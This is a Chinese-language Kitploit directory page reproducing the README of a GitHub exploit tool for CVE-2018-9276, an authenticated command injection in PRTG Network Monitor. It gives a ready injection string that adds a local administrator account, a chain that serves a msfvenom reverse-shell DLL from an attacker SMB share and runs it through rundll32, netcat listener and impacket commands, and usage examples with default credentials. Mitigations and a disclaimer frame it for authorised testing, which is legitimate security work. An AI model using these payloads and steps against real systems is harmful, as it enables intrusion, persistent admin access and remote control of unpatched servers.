Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-9276 — CVE-2018-9276 — PRTG Network Monitor < 18.2.39 已认证RCE。仅用于教育目的和授权渗透测试。 | Kitploit
工具/GitHubGitHub/bardlaudian/cve-2018-9276
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育远程访问工具Payload 开发
GitHubbardlaudian/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 已认证RCE。仅用于教育目的和授权渗透测试。

查看仓库
52个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-9276 — PRTG Network Monitor < 18.2.39 认证后远程代码执行

Python CVE Platform

⚠️ 免责声明: 本工具仅用于教育目的和授权渗透测试。仅在你拥有或获得明确书面许可的系统上使用。未经授权的使用是非法的。


目录

  • 概述
  • 漏洞详情
  • 工作原理
  • 环境要求
  • 安装
  • 使用方法
  • 示例
  • 缓解措施
  • 参考

概述

PRTG Network Monitor 是 Paessler AG 开发的一款网络监控工具。18.2.39 之前的版本存在通过通知功能实现的认证后命令注入漏洞,允许拥有有效凭据的攻击者以本地系统账户(PRTG 默认服务账户)的身份实现远程代码执行(RCE)。

该漏洞由 Josh Berry 在一次渗透测试中发现并披露给 Paessler AG,后者于 2018年4月20日 发布了修复补丁。该漏洞被分配为 CVE-2018-9276。


漏洞详情

字段值
CVECVE-2018-9276
影响版本PRTG Network Monitor < 18.2.39
类型认证后命令注入
所需权限需要有效的 PRTG 凭据
影响以本地系统身份远程执行代码
CVSS 评分7.2(高危)
补丁PRTG 18.2.39(2018年4月20日发布)

工作原理

PRTG 包含一个通知系统,允许管理员在特定事件发生时运行脚本。为了防止任意代码执行,PRTG 将可运行的脚本限制为服务器上特定目录中的脚本。默认情况下,只有两个演示脚本可用:

  • Demo EXE Notification - OutFile.bat
  • Demo EXE Notification - OutFile.ps1

注入点

PowerShell 演示脚本(OutFile.ps1)将通知的参数字段中的值直接传递到脚本中,未进行任何清理。这使得可以通过在分号后附加任意 PowerShell 命令来注入:

root@kitploit:~
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add

当 PRTG 执行通知时,注入的命令将以本地系统权限运行。

注意: 批处理脚本(OutFile.bat)不存在漏洞——Paessler 似乎在将输入传递给批处理文件之前对其进行了清理。注入仅通过 .ps1 脚本实现。

利用流程

该工具自动完成以下步骤:

root@kitploit:~
1. 检查服务器版本 → 确认目标存在漏洞
2. 进行身份验证 → 获取有效的会话 Cookie
3. 创建文件通知 → 在目标上初始化一个可写入的输出文件
4. 触发文件通知 → 通过 /api/notificationtest.htm 执行
5. 生成反向 shell DLL → msfvenom (windows/shell_reverse_tcp)
6. 托管 DLL → 通过 SMB 从攻击机提供
7. 创建命令通知 → 在输出文件后注入 rundll32.exe <UNC_PATH>,0
8. 触发命令通知 → 在目标上执行 DLL
9. 捕获反向 shell → nc -nvlp <LPORT>

为什么使用 rundll32 + SMB?

PRTG 只允许运行位于其安装目录中的脚本作为通知,因此我们不能直接上传并执行任意二进制文件。相反,我们:

  1. 使用 msfvenom 生成一个 Windows 反向 shell 作为 .dll 文件。
  2. 将该 .dll 托管在攻击机上的 SMB 共享中。
  3. 通过 PowerShell 通知参数注入 rundll32.exe \\attacker\share\payload.dll,0 命令。

rundll32.exe 可以从 UNC 路径加载并执行 DLL,从而绕过 PRTG 可直接执行文件的限制。


环境要求

  • Python 3.8+
  • msfvenom(Metasploit 框架的一部分)
  • netcat (nc)
  • impacket — 仅用于内置 SMB 服务器(可选,请参见 --no-smb)
root@kitploit:~
pip install impacket

如果你已有其他托管 DLL 的方式(例如 impacket-smbserver、Metasploit 的 exploit/multi/handler 或其他 SMB 服务器),则可以使用 --no-smb 和 --shell-location 跳过 impacket。


安装

root@kitploit:~
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt   # 仅安装了 impacket

使用方法

root@kitploit:~
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
                        [--user USER] [--password PASSWORD] [--https]
                        [--no-smb] [--shell-location SHELL_LOCATION] [-v]

options:
  -i, --host            目标 IP 或主机名
  -p, --port            目标端口(例如 80 或 443)
  --lhost               反向 shell 回调的本地 IP
  --lport               反向 shell 回调的本地端口
  --user                PRTG 用户名(默认:prtgadmin)
  --password            PRTG 密码(默认:prtgadmin)
  --https               使用 HTTPS(接受自签名证书)
  --no-smb              跳过内置 SMB 服务器(攻击载荷已托管)
  --shell-location      覆盖 DLL 攻击载荷的 UNC 路径
  -v, --verbose         启用详细/调试输出

示例

基本用法(HTTP,默认凭据)

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444

HTTPS 目标,自定义凭据

root@kitploit:~
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 443 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --user admin \
  --password Sup3rS3cr3t \
  --https

跳过内置 SMB 服务器(攻击载荷外部托管)

root@kitploit:~
# 先自行托管攻击载荷:
impacket-smbserver share /tmp -smb2support

# 然后运行利用工具,指向你的共享:
python3 cve_2018_9276.py \
  -i 10.10.10.10 \
  -p 80 \
  --lhost 10.10.14.5 \
  --lport 4444 \
  --no-smb \
  --shell-location '\\10.10.14.5\share\payload.dll'

缓解措施

  • 更新 PRTG 至 18.2.39 或更高版本——这是唯一的完整修复方案。
  • 更改默认凭据——该漏洞需要身份验证;弱密码或默认凭据(prtgadmin / prtgadmin)会大幅降低利用门槛。
  • 限制对 PRTG Web 界面的网络访问(防火墙规则、VPN 等)。
  • 监控 PRTG 日志,注意意外的通知测试执行。

参考

  • 原始发现 — CodeWatch (Josh Berry)
  • NVD — CVE-2018-9276
  • Paessler AG 补丁历史
  • wildkindcc 的原始 PoC
下载工具